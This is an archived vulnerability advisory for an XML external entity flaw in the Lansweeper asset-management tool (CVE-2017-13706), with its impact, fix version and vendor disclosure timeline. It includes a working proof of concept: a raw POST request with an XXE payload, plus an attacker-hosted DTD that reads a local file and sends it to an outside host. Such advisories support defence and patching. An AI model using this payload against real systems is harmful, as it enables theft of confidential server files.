exploit the possibilities

Lansweeper 6.0.100.29 XXE Injection

Lansweeper 6.0.100.29 XXE Injection
Posted Oct 6, 2017
Authored by Mehmet Ince, Barkin Kilic

Lansweeper version 6.0.100.29 suffers from an XML external entity injection vulnerability.

tags | exploit, xxe
advisories | CVE-2017-13706
MD5 | ac359c8576cebe46e9bfc2fd930fc500

Lansweeper 6.0.100.29 XXE Injection

Change Mirror Download
=============================================
- Release date: October 06th, 2017
- Discovered by: BarkA+-n KA+-lA+-ASS, Mehmet Dursun Adegnce

- Severity: High
=============================================

I. VULNERABILITY
-------------------------

Lansweeper XXE vulnerability.


II. INTRODUCTION
-------------------------

Lansweeper an Asset Management and Network Inventory Tool (v6.0.100.29 and
probably all previous versions) is affected by a XXE vulnerability.


III. DESCRIPTION
-------------------------

1) XML eXternel Entity Injection

An XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML input
containing a reference to an external entity is processed by a weakly
configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing


A* URL: hostname/deployment/DeploymentActions.aspx?action=importPackage
A* Method: POST


POC (proof of concept)

The vulnerability can be trigged via a POST request as shown in the
following PoC's.

POST /deployment/DeploymentActions.aspx?action=importPackage HTTP/1.1
Host: 192.168.179.134:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.179.134:81/deployment/
Cookie: ASP.NET_SessionId=i05i2enzicanyusmf5inmawr; UserSettings=language=1; custauth=username=admin&userdomain=admin
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------141141110614240761271519111282
Content-Length: 390

-----------------------------141141110614240761271519111282
Content-Disposition: form-data; name="XML"; filename="test.xml"
Content-Type: text/xml

A-A>>A?<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://192.168.179.128:81/test.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

-----------------------------141141110614240761271519111282


As an attacker a web server should be prepared and should be serving a file containing:

cat test.dtd
<!ENTITY % data SYSTEM "file:///C:\Program Files (x86)\Lansweeper\test.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ahttp://192.168.179.128/?%data;'>">



IV. BUSINESS IMPACT
-------------------------

An attacker could reach and disclose confidential data, cause denial of service, server side request forgery.


V. SYSTEMS AFFECTED
-------------------------

Version 6.0.100.29 is vulnerable (probably all previous versions)


VI. SOLUTION
-------------------------

Upgrade to version 6.0.100.67 or later.


VII. REFERENCES
-------------------------

lansweeper website:

https://www.lansweeper.com/
https://www.lansweeper.com/changelog.aspx BUG: #572705


VIII. CREDITS
-------------------------

The vulnerability has been discovered by:

BarkA+-n KA+-lA+-ASS barkin(at)barkin(dot)info
Mehmet Dursun Adegnce mehmet(at)mehmetince(dot)net


IX. ADVISORY TIMELINE
-------------------------

August 26th, 2017: Vulnerability identification
August 26th, 2017: CVE Requested
August 27th, 2017: CVE received - "CVE-2017-13706"
August 29th, 2017: First contact with vendor
August 29th, 2017: Vendor response; investigating
Sept 11th, 2017: Vendor says that the vulnerability will be fixed in the new
version
Oct 4th, 2017: Vulnerabilty fixed (Bug 572705). Reference:
https://www.lansweeper.com/changelog.aspx




X. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.






Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close